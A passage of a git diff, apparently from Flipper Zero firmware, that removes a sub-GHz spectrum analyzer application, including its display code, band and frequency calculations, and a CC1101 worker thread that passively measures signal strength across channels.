Gui* gui; - - SpectrumAnalyzerWorker* worker; -} SpectrumAnalyzer; - -void spectrum_analyzer_draw_scale(Canvas* canvas, const SpectrumAnalyzerModel* model) { - // Draw line - canvas_draw_line( - canvas, FREQ_START_X, FREQ_BOTTOM_Y, FREQ_START_X + FREQ_LENGTH_X, FREQ_BOTTOM_Y); - // Draw minor scale - for(int i = FREQ_START_X; i < FREQ_START_X + FREQ_LENGTH_X; i += 5) { - canvas_draw_line(canvas, i, FREQ_BOTTOM_Y, i, FREQ_BOTTOM_Y + 2); - } - // Draw major scale - for(int i = FREQ_START_X; i < FREQ_START_X + FREQ_LENGTH_X; i += 25) { - canvas_draw_line(canvas, i, FREQ_BOTTOM_Y, i, FREQ_BOTTOM_Y + 4); - } - - // Draw scale tags - uint32_t tag_left = 0; - uint32_t tag_center = 0; - uint32_t tag_right = 0; - char temp_str[18]; - - tag_center = model->center_freq; - - switch(model->width) { - case NARROW: - tag_left = model->center_freq - 2000; - tag_right = model->center_freq + 2000; - break; - case ULTRANARROW: - tag_left = model->center_freq - 1000; - tag_right = model->center_freq + 1000; - break; - case PRECISE: - tag_left = model->center_freq - 200; - tag_right = model->center_freq + 200; - break; - case ULTRAWIDE: - tag_left = model->center_freq - 40000; - tag_right = model->center_freq + 40000; - break; - default: - tag_left = model->center_freq - 10000; - tag_right = model->center_freq + 10000; - } - - canvas_set_font(canvas, FontSecondary); - switch(model->width) { - case PRECISE: - case ULTRANARROW: - snprintf(temp_str, 18, "%.1f", ((double)tag_left) / 1000); - canvas_draw_str_aligned(canvas, FREQ_START_X, 63, AlignCenter, AlignBottom, temp_str); - snprintf(temp_str, 18, "%.1f", ((double)tag_center) / 1000); - canvas_draw_str_aligned(canvas, 128 / 2, 63, AlignCenter, AlignBottom, temp_str); - snprintf(temp_str, 18, "%.1f", ((double)tag_right) / 1000); - canvas_draw_str_aligned( - canvas, FREQ_START_X + FREQ_LENGTH_X - 1, 63, AlignCenter, AlignBottom, temp_str); - break; - default: - snprintf(temp_str, 18, "%lu", tag_left / 1000); - canvas_draw_str_aligned(canvas, FREQ_START_X, 63, AlignCenter, AlignBottom, temp_str); - snprintf(temp_str, 18, "%lu", tag_center / 1000); - canvas_draw_str_aligned(canvas, 128 / 2, 63, AlignCenter, AlignBottom, temp_str); - snprintf(temp_str, 18, "%lu", tag_right / 1000); - canvas_draw_str_aligned( - canvas, FREQ_START_X + FREQ_LENGTH_X - 1, 63, AlignCenter, AlignBottom, temp_str); - } -} - -static void spectrum_analyzer_render_callback(Canvas* const canvas, void* ctx) { - SpectrumAnalyzer* spectrum_analyzer = ctx; - //furi_check(furi_mutex_acquire(spectrum_analyzer->model_mutex, FuriWaitForever) == FuriStatusOk); - - SpectrumAnalyzerModel* model = spectrum_analyzer->model; - - spectrum_analyzer_draw_scale(canvas, model); - - for(uint8_t column = 0; column < 128; column++) { - uint8_t ss = model->channel_ss[column + 2]; - // Compress height to max of 64 values (255>>2) - uint8_t s = MAX((ss - model->vscroll) >> 2, 0); - uint8_t y = FREQ_BOTTOM_Y - s; // bar height - - // Draw each bar - canvas_draw_line(canvas, column, FREQ_BOTTOM_Y, column, y); - } - - if(model->mode_change) { - char temp_mode_str[12]; - switch(model->width) { - case NARROW: - strncpy(temp_mode_str, "NARROW", 12); - break; - case ULTRANARROW: - strncpy(temp_mode_str, "ULTRANARROW", 12); - break; - case PRECISE: - strncpy(temp_mode_str, "PRECISE", 12); - break; - case ULTRAWIDE: - strncpy(temp_mode_str, "ULTRAWIDE", 12); - break; - default: - strncpy(temp_mode_str, "WIDE", 12); - break; - } - - // Current mode label - char tmp_str[21]; - snprintf(tmp_str, 21, "Mode: %s", temp_mode_str); - canvas_draw_str_aligned(canvas, 127, 4, AlignRight, AlignTop, tmp_str); - } - - if(model->modulation_change) { - char temp_mod_str[12]; - switch(model->modulation) { - case NARROW_MODULATION: - strncpy(temp_mod_str, "NARROW", 12); - break; - default: - strncpy(temp_mod_str, "DEFAULT", 12); - break; - } - - // Current modulation label - char tmp_str[27]; - snprintf(tmp_str, 27, "Modulation: %s", temp_mod_str); - canvas_draw_str_aligned(canvas, 127, 4, AlignRight, AlignTop, tmp_str); - } - - // Draw cross and label - if(model->max_rssi > PEAK_THRESHOLD) { - // Compress height to max of 64 values (255>>2) - uint8_t max_y = MAX((model->max_rssi_dec - model->vscroll) >> 2, 0); - max_y = (FREQ_BOTTOM_Y - max_y); - - // Cross - int16_t x1, x2, y1, y2; - x1 = model->max_rssi_channel - 2 - 2; - if(x1 < 0) x1 = 0; - y1 = max_y - 2; - if(y1 < 0) y1 = 0; - x2 = model->max_rssi_channel - 2 + 2; - if(x2 > 127) x2 = 127; - y2 = max_y + 2; - if(y2 > 63) y2 = 63; // SHOULD NOT HAPPEN CHECK! - canvas_draw_line(canvas, x1, y1, x2, y2); - - x1 = model->max_rssi_channel - 2 + 2; - if(x1 > 127) x1 = 127; - y1 = max_y - 2; - if(y1 < 0) y1 = 0; - x2 = model->max_rssi_channel - 2 - 2; - if(x2 < 0) x2 = 0; - y2 = max_y + 2; - if(y2 > 63) y2 = 63; // SHOULD NOT HAPPEN CHECK! - canvas_draw_line(canvas, (uint8_t)x1, (uint8_t)y1, (uint8_t)x2, (uint8_t)y2); - - // Label - char temp_str[36]; - snprintf( - temp_str, - 36, - "Peak: %3.2f Mhz %3.1f dbm", - ((double)(model->channel0_frequency + (model->max_rssi_channel * model->spacing)) / - 1000000), - (double)model->max_rssi); - canvas_draw_str_aligned(canvas, 127, 0, AlignRight, AlignTop, temp_str); - } - - //furi_mutex_release(spectrum_analyzer->model_mutex); - - // FURI_LOG_D("Spectrum", "model->vscroll %u", model->vscroll); -} - -static void spectrum_analyzer_input_callback(InputEvent* input_event, void* ctx) { - SpectrumAnalyzer* spectrum_analyzer = ctx; - // Handle short and long presses - if(input_event->type == InputTypeShort || input_event->type == InputTypeLong) { - furi_message_queue_put(spectrum_analyzer->event_queue, input_event, FuriWaitForever); - } -} - -static void spectrum_analyzer_worker_callback( - void* channel_ss, - float max_rssi, - uint8_t max_rssi_dec, - uint8_t max_rssi_channel, - void* context) { - SpectrumAnalyzer* spectrum_analyzer = context; - furi_check( - furi_mutex_acquire(spectrum_analyzer->model_mutex, FuriWaitForever) == FuriStatusOk); - - SpectrumAnalyzerModel* model = (SpectrumAnalyzerModel*)spectrum_analyzer->model; - memcpy(model->channel_ss, (uint8_t*)channel_ss, sizeof(uint8_t) * NUM_CHANNELS); - model->max_rssi = max_rssi; - model->max_rssi_dec = max_rssi_dec; - model->max_rssi_channel = max_rssi_channel; - - furi_mutex_release(spectrum_analyzer->model_mutex); - view_port_update(spectrum_analyzer->view_port); -} - -void spectrum_analyzer_calculate_frequencies(SpectrumAnalyzerModel* model) { - // REDO ALL THIS. CALCULATE ONLY WITH SPACING! - - uint8_t new_band; - uint32_t min_hz; - uint32_t max_hz; - uint32_t margin; - uint32_t step; - uint32_t upper_limit; - uint32_t lower_limit; - uint32_t next_up; - uint32_t next_down; - uint8_t next_band_up; - uint8_t next_band_down; - - switch(model->width) { - case NARROW: - margin = NARROW_MARGIN; - step = NARROW_STEP; - model->spacing = NARROW_SPACING; - break; - case ULTRANARROW: - margin = ULTRANARROW_MARGIN; - step = ULTRANARROW_STEP; - model->spacing = ULTRANARROW_SPACING; - break; - case PRECISE: - margin = PRECISE_MARGIN; - step = PRECISE_STEP; - model->spacing = PRECISE_SPACING; - break; - case ULTRAWIDE: - margin = ULTRAWIDE_MARGIN; - step = ULTRAWIDE_STEP; - model->spacing = ULTRAWIDE_SPACING; - /* nearest 20 MHz step */ - model->center_freq = ((model->center_freq + 10000) / 20000) * 20000; - break; - default: - margin = WIDE_MARGIN; - step = WIDE_STEP; - model->spacing = WIDE_SPACING; - /* nearest 5 MHz step */ - model->center_freq = ((model->center_freq + 2000) / 5000) * 5000; - break; - } - - /* handle cases near edges of bands */ - if(model->center_freq > EDGE_900) { - new_band = BAND_900; - upper_limit = UPPER(MAX_900, margin, step); - lower_limit = LOWER(MIN_900, margin, step); - next_up = LOWER(MIN_300, margin, step); - next_down = UPPER(MAX_400, margin, step); - next_band_up = BAND_300; - next_band_down = BAND_400; - } else if(model->center_freq > EDGE_400) { - new_band = BAND_400; - upper_limit = UPPER(MAX_400, margin, step); - lower_limit = LOWER(MIN_400, margin, step); - next_up = LOWER(MIN_900, margin, step); - next_down = UPPER(MAX_300, margin, step); - next_band_up = BAND_900; - next_band_down = BAND_300; - } else { - new_band = BAND_300; - upper_limit = UPPER(MAX_300, margin, step); - lower_limit = LOWER(MIN_300, margin, step); - next_up = LOWER(MIN_400, margin, step); - next_down = UPPER(MAX_900, margin, step); - next_band_up = BAND_400; - next_band_down = BAND_900; - } - - if(model->center_freq > upper_limit) { - model->center_freq = upper_limit; - if(new_band == model->band) { - new_band = next_band_up; - model->center_freq = next_up; - } - } else if(model->center_freq < lower_limit) { - model->center_freq = lower_limit; - if(new_band == model->band) { - new_band = next_band_down; - model->center_freq = next_down; - } - } - - model->band = new_band; - /* doing everything in Hz from here on */ - switch(model->band) { - case BAND_400: - min_hz = MIN_400 * 1000; - max_hz = MAX_400 * 1000; - break; - case BAND_300: - min_hz = MIN_300 * 1000; - max_hz = MAX_300 * 1000; - break; - default: - min_hz = MIN_900 * 1000; - max_hz = MAX_900 * 1000; - break; - } - - model->channel0_frequency = - model->center_freq * 1000 - (model->spacing * ((NUM_CHANNELS / 2) + 1)); - - // /* calibrate upper channels */ - // hz = model->center_freq * 1000000; - // max_chan = NUM_CHANNELS / 2; - // while (hz <= max_hz && max_chan < NUM_CHANNELS) { - // instance->chan_table[max_chan].frequency = hz; - // FURI_LOG_T("Spectrum", "calibrate_freq ch[%u]: %lu", max_chan, hz); - // hz += model->spacing; - // max_chan++; - // } - - // /* calibrate lower channels */ - // hz = instance->freq * 1000000 - model->spacing; - // min_chan = NUM_CHANNELS / 2; - // while (hz >= min_hz && min_chan > 0) { - // min_chan--; - // instance->chan_table[min_chan].frequency = hz; - // FURI_LOG_T("Spectrum", "calibrate_freq ch[%u]: %lu", min_chan, hz); - // hz -= model->spacing; - // } - - model->max_rssi = -200.0; - model->max_rssi_dec = 0; - - FURI_LOG_D("Spectrum", "setup_frequencies - max_hz: %lu - min_hz: %lu", max_hz, min_hz); - FURI_LOG_D("Spectrum", "center_freq: %lu", model->center_freq); - FURI_LOG_D( - "Spectrum", - "ch[0]: %lu - ch[%u]: %lu", - model->channel0_frequency, - NUM_CHANNELS - 1, - model->channel0_frequency + ((NUM_CHANNELS - 1) * model->spacing)); -} - -SpectrumAnalyzer* spectrum_analyzer_alloc() { - SpectrumAnalyzer* instance = malloc(sizeof(SpectrumAnalyzer)); - instance->model = malloc(sizeof(SpectrumAnalyzerModel)); - - SpectrumAnalyzerModel* model = instance->model; - - for(uint8_t ch = 0; ch < NUM_CHANNELS - 1; ch++) { - model->channel_ss[ch] = 0; - } - model->max_rssi_dec = 0; - model->max_rssi_channel = 0; - model->max_rssi = PEAK_THRESHOLD - 1; // Should initializar to < PEAK_THRESHOLD - - model->center_freq = DEFAULT_FREQ; - model->width = WIDE; - model->modulation = DEFAULT_MODULATION; - model->band = BAND_400; - - model->vscroll = DEFAULT_VSCROLL; - - instance->model_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - instance->event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - - instance->worker = spectrum_analyzer_worker_alloc(); - - spectrum_analyzer_worker_set_callback( - instance->worker, spectrum_analyzer_worker_callback, instance); - - // Set system callbacks - instance->view_port = view_port_alloc(); - view_port_draw_callback_set(instance->view_port, spectrum_analyzer_render_callback, instance); - view_port_input_callback_set(instance->view_port, spectrum_analyzer_input_callback, instance); - - // Open GUI and register view_port - instance->gui = furi_record_open(RECORD_GUI); - gui_add_view_port(instance->gui, instance->view_port, GuiLayerFullscreen); - - return instance; -} - -void spectrum_analyzer_free(SpectrumAnalyzer* instance) { - // view_port_enabled_set(view_port, false); - gui_remove_view_port(instance->gui, instance->view_port); - furi_record_close(RECORD_GUI); - view_port_free(instance->view_port); - - spectrum_analyzer_worker_free(instance->worker); - - furi_message_queue_free(instance->event_queue); - - furi_mutex_free(instance->model_mutex); - - free(instance->model); - free(instance); -} - -int32_t spectrum_analyzer_app(void* p) { - UNUSED(p); - - SpectrumAnalyzer* spectrum_analyzer = spectrum_analyzer_alloc(); - InputEvent input; - - furi_hal_power_suppress_charge_enter(); - - FURI_LOG_D("Spectrum", "Main Loop - Starting worker"); - furi_delay_ms(50); - - spectrum_analyzer_worker_start(spectrum_analyzer->worker); - spectrum_analyzer_calculate_frequencies(spectrum_analyzer->model); - spectrum_analyzer_worker_set_frequencies( - spectrum_analyzer->worker, - spectrum_analyzer->model->channel0_frequency, - spectrum_analyzer->model->spacing, - spectrum_analyzer->model->width); - - FURI_LOG_D("Spectrum", "Main Loop - Wait on queue"); - furi_delay_ms(50); - - while(furi_message_queue_get(spectrum_analyzer->event_queue, &input, FuriWaitForever) == - FuriStatusOk) { - furi_check( - furi_mutex_acquire(spectrum_analyzer->model_mutex, FuriWaitForever) == FuriStatusOk); - - FURI_LOG_D("Spectrum", "Main Loop - Input: %u", input.key); - - SpectrumAnalyzerModel* model = spectrum_analyzer->model; - - uint8_t vstep = VERTICAL_SHORT_STEP; - uint32_t hstep; - - bool exit_loop = false; - - switch(model->width) { - case NARROW: - hstep = NARROW_STEP; - break; - case ULTRANARROW: - hstep = ULTRANARROW_STEP; - break; - case ULTRAWIDE: - hstep = ULTRAWIDE_STEP; - break; - case PRECISE: - hstep = PRECISE_STEP; - break; - default: - hstep = WIDE_STEP; - break; - } - - switch(input.type) { - case InputTypeShort: - switch(input.key) { - case InputKeyUp: - model->vscroll = MAX(model->vscroll - vstep, MIN_VSCROLL); - FURI_LOG_D("Spectrum", "Vscroll: %u", model->vscroll); - break; - case InputKeyDown: - model->vscroll = MIN(model->vscroll + vstep, MAX_VSCROLL); - FURI_LOG_D("Spectrum", "Vscroll: %u", model->vscroll); - break; - case InputKeyRight: - model->center_freq += hstep; - FURI_LOG_D("Spectrum", "center_freq: %lu", model->center_freq); - spectrum_analyzer_calculate_frequencies(model); - spectrum_analyzer_worker_set_frequencies( - spectrum_analyzer->worker, - model->channel0_frequency, - model->spacing, - model->width); - break; - case InputKeyLeft: - model->center_freq -= hstep; - spectrum_analyzer_calculate_frequencies(model); - spectrum_analyzer_worker_set_frequencies( - spectrum_analyzer->worker, - model->channel0_frequency, - model->spacing, - model->width); - FURI_LOG_D("Spectrum", "center_freq: %lu", model->center_freq); - break; - case InputKeyOk: { - switch(model->width) { - case WIDE: - model->width = NARROW; - break; - case NARROW: - model->width = ULTRANARROW; - break; - case ULTRANARROW: - model->width = PRECISE; - break; - case PRECISE: - model->width = ULTRAWIDE; - break; - case ULTRAWIDE: - model->width = WIDE; - break; - default: - model->width = WIDE; - break; - } - } - model->mode_change = true; - view_port_update(spectrum_analyzer->view_port); - - furi_delay_ms(1000); - - model->mode_change = false; - spectrum_analyzer_calculate_frequencies(model); - spectrum_analyzer_worker_set_frequencies( - spectrum_analyzer->worker, - model->channel0_frequency, - model->spacing, - model->width); - FURI_LOG_D("Spectrum", "Width: %u", model->width); - break; - case InputKeyBack: - exit_loop = true; - break; - default: - break; - } - break; - case InputTypeLong: - switch(input.key) { - case InputKeyOk: - FURI_LOG_D("Spectrum", "InputTypeLong"); - switch(model->modulation) { - case NARROW_MODULATION: - model->modulation = DEFAULT_MODULATION; - break; - case DEFAULT_MODULATION: - default: - model->modulation = NARROW_MODULATION; - break; - } - - model->modulation_change = true; - view_port_update(spectrum_analyzer->view_port); - - furi_delay_ms(1000); - - model->modulation_change = false; - spectrum_analyzer_worker_set_modulation( - spectrum_analyzer->worker, spectrum_analyzer->model->modulation); - break; - default: - break; - } - break; - default: - break; - } - - furi_mutex_release(spectrum_analyzer->model_mutex); - view_port_update(spectrum_analyzer->view_port); - if(exit_loop == true) break; - } - - spectrum_analyzer_worker_stop(spectrum_analyzer->worker); - - furi_hal_power_suppress_charge_exit(); - - spectrum_analyzer_free(spectrum_analyzer); - - return 0; -} \ No newline at end of file diff --git a/applications/external/spectrum_analyzer/spectrum_analyzer.h b/applications/external/spectrum_analyzer/spectrum_analyzer.h deleted file mode 100644 index bdd4c841c..000000000 --- a/applications/external/spectrum_analyzer/spectrum_analyzer.h +++ /dev/null @@ -1,84 +0,0 @@ -#define NUM_CHANNELS 132 -#define NUM_CHUNKS 6 -#define CHUNK_SIZE (NUM_CHANNELS / NUM_CHUNKS) - -// Screen coordinates -#define FREQ_BOTTOM_Y 50 -#define FREQ_START_X 14 -// How many channels displayed on the scale (On screen still 218) -#define FREQ_LENGTH_X 102 -// dBm threshold to show peak value -#define PEAK_THRESHOLD -85 - -/* - * ultrawide mode: 80 MHz on screen, 784 kHz per channel - * wide mode (default): 20 MHz on screen, 196 kHz per channel - * narrow mode: 4 MHz on screen, 39 kHz per channel - * ultranarrow mode: 2 MHz on screen, 19 kHz per channel - * precise mode: 400 KHz on screen, 3.92 kHz per channel - */ -#define WIDE 0 -#define NARROW 1 -#define ULTRAWIDE 2 -#define ULTRANARROW 3 -#define PRECISE 4 - -/* channel spacing in Hz */ -#define WIDE_SPACING 196078 -#define NARROW_SPACING 39215 -#define ULTRAWIDE_SPACING 784313 -#define ULTRANARROW_SPACING 19607 -#define PRECISE_SPACING 3921 - -/* vertical scrolling */ -#define VERTICAL_SHORT_STEP 16 -#define MAX_VSCROLL 120 -#define MIN_VSCROLL 0 -#define DEFAULT_VSCROLL 48 - -/* frequencies in KHz */ -#define DEFAULT_FREQ 440000 -#define WIDE_STEP 5000 -#define NARROW_STEP 1000 -#define ULTRAWIDE_STEP 20000 -#define ULTRANARROW_STEP 500 -#define PRECISE_STEP 100 - -/* margin in KHz */ -#define WIDE_MARGIN 13000 -#define NARROW_MARGIN 3000 -#define ULTRAWIDE_MARGIN 42000 -#define ULTRANARROW_MARGIN 1000 -#define PRECISE_MARGIN 200 - -/* frequency bands supported by device */ -#define BAND_300 0 -#define BAND_400 1 -#define BAND_900 2 - -/* band limits in KHz */ -#define MIN_300 281000 -#define CEN_300 315000 -#define MAX_300 361000 -#define MIN_400 378000 -#define CEN_400 435000 -#define MAX_400 481000 -#define MIN_900 749000 -#define CEN_900 855000 -#define MAX_900 962000 - -/* band transition points in KHz */ -#define EDGE_400 369000 -#define EDGE_900 615000 - -/* VCO transition points in Hz */ -#define MID_300 318000000 -#define MID_400 424000000 -#define MID_900 848000000 - -#define UPPER(a, b, c) ((((a) - (b) + ((c) / 2)) / (c)) * (c)) -#define LOWER(a, b, c) ((((a) + (b)) / (c)) * (c)) - -/* Modulation references */ -#define DEFAULT_MODULATION 0 -#define NARROW_MODULATION 1 \ No newline at end of file diff --git a/applications/external/spectrum_analyzer/spectrum_analyzer_worker.c b/applications/external/spectrum_analyzer/spectrum_analyzer_worker.c deleted file mode 100644 index 4076e8a04..000000000 --- a/applications/external/spectrum_analyzer/spectrum_analyzer_worker.c +++ /dev/null @@ -1,345 +0,0 @@ -#include "spectrum_analyzer.h" -#include "spectrum_analyzer_worker.h" - -#include -#include - -#include "helpers/radio_device_loader.h" - -#include - -struct SpectrumAnalyzerWorker { - FuriThread* thread; - bool should_work; - - SpectrumAnalyzerWorkerCallback callback; - void* callback_context; - - const SubGhzDevice* radio_device; - - uint32_t channel0_frequency; - uint32_t spacing; - uint8_t width; - uint8_t modulation; - float max_rssi; - uint8_t max_rssi_dec; - uint8_t max_rssi_channel; - - uint8_t channel_ss[NUM_CHANNELS]; -}; - -/* set the channel bandwidth */ -void spectrum_analyzer_worker_set_filter(SpectrumAnalyzerWorker* instance) { - uint8_t filter_config[2][2] = { - {CC1101_MDMCFG4, 0}, - {0, 0}, - }; - - // FURI_LOG_D("SpectrumWorker", "spectrum_analyzer_worker_set_filter: width = %u", instance->width); - - /* channel spacing should fit within 80% of channel filter bandwidth */ - switch(instance->width) { - case NARROW: - filter_config[0][1] = 0xFC; /* 39.2 kHz / .8 = 49 kHz --> 58 kHz */ - break; - case ULTRAWIDE: - filter_config[0][1] = 0x0C; /* 784 kHz / .8 = 980 kHz --> 812 kHz */ - break; - default: - filter_config[0][1] = 0x6C; /* 196 kHz / .8 = 245 kHz --> 270 kHz */ - break; - } - - UNUSED(filter_config); - // furi_hal_subghz_load_registers((uint8_t*)filter_config); -} - -static int32_t spectrum_analyzer_worker_thread(void* context) { - furi_assert(context); - SpectrumAnalyzerWorker* instance = context; - - FURI_LOG_D("SpectrumWorker", "spectrum_analyzer_worker_thread: Start"); - - // Start CC1101 - subghz_devices_reset(instance->radio_device); - subghz_devices_load_preset(instance->radio_device, FuriHalSubGhzPresetOok650Async, NULL); - subghz_devices_set_frequency(instance->radio_device, 433920000); - subghz_devices_flush_rx(instance->radio_device); - subghz_devices_set_rx(instance->radio_device); - - // Default modulation - const uint8_t default_modulation[] = { - - /* Frequency Synthesizer Control */ - CC1101_FSCTRL0, - 0x00, - CC1101_FSCTRL1, - 0x12, // IF = (26*10^6) / (2^10) * 0x12 = 304687.5 Hz - - // Modem Configuration - // CC1101_MDMCFG0, - // 0x00, // Channel spacing is 25kHz - // CC1101_MDMCFG1, - // 0x00, // Channel spacing is 25kHz - // CC1101_MDMCFG2, - // 0x30, // Format ASK/OOK, No preamble/sync - // CC1101_MDMCFG3, - // 0x32, // Data rate is 121.399 kBaud - CC1101_MDMCFG4, - 0x6C, // Rx BW filter is 270.83 kHz - - /* Frequency Offset Compensation Configuration */ - // CC1101_FOCCFG, - // 0x18, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - // CC1101_AGCCTRL0, - // 0x91, // 10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary - // CC1101_AGCCTRL1, - // 0x0, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - CC1101_AGCCTRL2, - 0xC0, // 03 - The 3 highest DVGA gain settings can not be used; 000 - MAX LNA+LNA2; 000 - MAIN_TARGET 24 dB - - /* Frontend configuration */ - // CC1101_FREND0, - // 0x11, // Adjusts current TX LO buffer + high is PATABLE[1] - // CC1101_FREND1, - // 0xB6, // - - CC1101_TEST2, - 0x88, - CC1101_TEST1, - 0x31, - CC1101_TEST0, - 0x09, - - /* End */ - 0, - 0, - - // ook_async_patable - 0x00, - 0xC0, // 12dBm 0xC0, 10dBm 0xC5, 7dBm 0xCD, 5dBm 0x86, 0dBm 0x50, -6dBm 0x37, -10dBm 0x26, -15dBm 0x1D, -20dBm 0x17, -30dBm 0x03 - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00}; - - // Narrow modulation - const uint8_t narrow_modulation[] = { - - /* Frequency Synthesizer Control */ - CC1101_FSCTRL0, - 0x00, - CC1101_FSCTRL1, - 0x00, // IF = (26*10^6) / (2^10) * 0x00 = 0 Hz - - // Modem Configuration - // CC1101_MDMCFG0, - // 0x00, // Channel spacing is 25kHz - // CC1101_MDMCFG1, - // 0x00, // Channel spacing is 25kHz - // CC1101_MDMCFG2, - // 0x30, // Format ASK/OOK, No preamble/sync - // CC1101_MDMCFG3, - // 0x32, // Data rate is 121.399 kBaud - CC1101_MDMCFG4, - 0xFC, // Rx BW filter is 58.04 kHz - - /* Frequency Offset Compensation Configuration */ - // CC1101_FOCCFG, - // 0x18, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - CC1101_AGCCTRL0, - 0x30, // 00 - NO hysteresis, symmetric dead zone, high gain ; 11 - 32 samples agc; 00 - Normal AGC, 00 - 8dB boundary - CC1101_AGCCTRL1, - 0x0, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - CC1101_AGCCTRL2, - 0x84, // 02 - The 2 highest DVGA gain settings can not be used; 000 - MAX LNA+LNA2; 100 - MAIN_TARGET 36 dB - - /* Frontend configuration */ - // CC1101_FREND0, - // 0x11, // Adjusts current TX LO buffer + high is PATABLE[1] - // CC1101_FREND1, - // 0xB6, // - - CC1101_TEST2, - 0x88, - CC1101_TEST1, - 0x31, - CC1101_TEST0, - 0x09, - - /* End */ - 0, - 0, - - // ook_async_patable - 0x00, - 0xC0, // 12dBm 0xC0, 10dBm 0xC5, 7dBm 0xCD, 5dBm 0x86, 0dBm 0x50, -6dBm 0x37, -10dBm 0x26, -15dBm 0x1D, -20dBm 0x17, -30dBm 0x03 - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00}; - - const uint8_t* modulations[] = {default_modulation, narrow_modulation}; - - while(instance->should_work) { - furi_delay_ms(50); - - // FURI_LOG_T("SpectrumWorker", "spectrum_analyzer_worker_thread: Worker Loop"); - subghz_devices_idle(instance->radio_device); - subghz_devices_load_preset( - instance->radio_device, - FuriHalSubGhzPresetCustom, - (uint8_t*)modulations[instance->modulation]); - //subghz_devices_load_preset( - // instance->radio_device, FuriHalSubGhzPresetCustom, (uint8_t*)default_modulation); - //furi_hal_subghz_load_custom_preset(modulations[instance->modulation]); - - // TODO: Check filter! - // spectrum_analyzer_worker_set_filter(instance); - - instance->max_rssi_dec = 0; - - // Visit each channel non-consecutively - for(uint8_t ch_offset = 0, chunk = 0; ch_offset < CHUNK_SIZE; - ++chunk >= NUM_CHUNKS && ++ch_offset && (chunk = 0)) { - uint8_t ch = chunk * CHUNK_SIZE + ch_offset; - - if(subghz_devices_is_frequency_valid( - instance->radio_device, - instance->channel0_frequency + (ch * instance->spacing))) - subghz_devices_set_frequency( - instance->radio_device, - instance->channel0_frequency + (ch * instance->spacing)); - - subghz_devices_set_rx(instance->radio_device); - furi_delay_ms(3); - - // dec dBm - //max_ss = 127 -> -10.5 - //max_ss = 0 -> -74.0 - //max_ss = 255 -> -74.5 - //max_ss = 128 -> -138.0 - instance->channel_ss[ch] = (subghz_devices_get_rssi(instance->radio_device) + 138) * 2; - - if(instance->channel_ss[ch] > instance->max_rssi_dec) { - instance->max_rssi_dec = instance->channel_ss[ch]; - instance->max_rssi = (instance->channel_ss[ch] / 2) - 138; - instance->max_rssi_channel = ch; - } - - subghz_devices_idle(instance->radio_device); - } - - // FURI_LOG_T("SpectrumWorker", "channel_ss[0]: %u", instance->channel_ss[0]); - - // Report results back to main thread - if(instance->callback) { - instance->callback( - (void*)&(instance->channel_ss), - instance->max_rssi, - instance->max_rssi_dec, - instance->max_rssi_channel, - instance->callback_context); - } - } - - return 0; -} - -SpectrumAnalyzerWorker* spectrum_analyzer_worker_alloc() { - FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_alloc: Start"); - - SpectrumAnalyzerWorker* instance = malloc(sizeof(SpectrumAnalyzerWorker)); - - instance->thread = furi_thread_alloc(); - furi_thread_set_name(instance->thread, "SpectrumWorker"); - furi_thread_set_stack_size(instance->thread, 2048); - furi_thread_set_context(instance->thread, instance); - furi_thread_set_callback(instance->thread, spectrum_analyzer_worker_thread); - - subghz_devices_init(); - - instance->radio_device = - radio_device_loader_set(instance->radio_device, SubGhzRadioDeviceTypeExternalCC1101); - - FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_alloc: End"); - - return instance; -} - -void spectrum_analyzer_worker_free(SpectrumAnalyzerWorker* instance) { - FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_free"); - furi_assert(instance); - furi_thread_free(instance->thread); - - subghz_devices_sleep(instance->radio_device); - radio_device_loader_end(instance->radio_device); - - subghz_devices_deinit(); - - free(instance); -} - -void spectrum_analyzer_worker_set_callback( - SpectrumAnalyzerWorker* instance, - SpectrumAnalyzerWorkerCallback callback, - void* context) { - furi_assert(instance); - instance->callback = callback; - instance->callback_context = context; -} - -void spectrum_analyzer_worker_set_frequencies( - SpectrumAnalyzerWorker* instance, - uint32_t channel0_frequency, - uint32_t spacing, - uint8_t width) { - furi_assert(instance); - - FURI_LOG_D( - "SpectrumWorker", - "spectrum_analyzer_worker_set_frequencies - channel0_frequency= %lu - spacing = %lu - width = %u", - channel0_frequency, - spacing, - width); - - instance->channel0_frequency = channel0_frequency; - instance->spacing = spacing; - instance->width = width; -} - -void spectrum_analyzer_worker_set_modulation(SpectrumAnalyzerWorker* instance, uint8_t modulation) { - furi_assert(instance); - - FURI_LOG_D( - "SpectrumWorker", "spectrum_analyzer_worker_set_modulation - modulation = %u", modulation); - - instance->modulation = modulation; -} - -void spectrum_analyzer_worker_start(SpectrumAnalyzerWorker* instance) { - FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_start"); - - furi_assert(instance); - furi_assert(instance->should_work == false); - - instance->should_work = true; - furi_thread_start(instance->thread); -} - -void spectrum_analyzer_worker_stop(SpectrumAnalyzerWorker* instance) { - FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_stop"); - furi_assert(instance); - furi_assert(instance->should_work == true); - - instance->should_work = false; - furi_thread_join(instance->thread); -} \ No newline at end of file diff --git a/applications/external/spectrum_analyzer/spectrum_analyzer_worker.h b/applications/external/spectrum_analyzer/spectrum_analyzer_worker.h deleted file mode 100644 index 796f532e6..000000000 --- a/applications/external/spectrum_analyzer/spectrum_analyzer_worker.h +++ /dev/null @@ -1,35 +0,0 @@ -#pragma once - -#include - -typedef void (*SpectrumAnalyzerWorkerCallback)( - void* chan_table, - float max_rssi, - uint8_t max_rssi_dec, - uint8_t max_rssi_channel, - void* context); - -typedef struct SpectrumAnalyzerWorker SpectrumAnalyzerWorker; - -SpectrumAnalyzerWorker* spectrum_analyzer_worker_alloc(); - -void 